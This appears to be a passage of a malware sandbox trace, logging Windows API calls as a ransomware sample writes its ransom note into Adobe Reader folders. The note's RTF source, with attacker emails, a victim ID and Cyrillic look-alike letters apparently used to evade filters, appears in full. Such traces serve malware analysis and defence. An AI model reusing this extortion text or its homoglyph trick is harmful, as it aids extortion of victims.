d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n¤è;¤ÌÚÔ^ÁÎÚNE¥\x16U<è\x7fX@\x8d\x16S\x1f\x8aË\x18\x8c]Ó\x08", lpUsedDefaultChar=0x0) returned 14086 [0039.706] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0039.707] CloseHandle (hObject=0x1d4) returned 1 [0039.707] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\!bwng_info!.rtf")) returned 0xffffffff [0039.708] GetLastError () returned 0x2 [0039.708] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0039.708] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 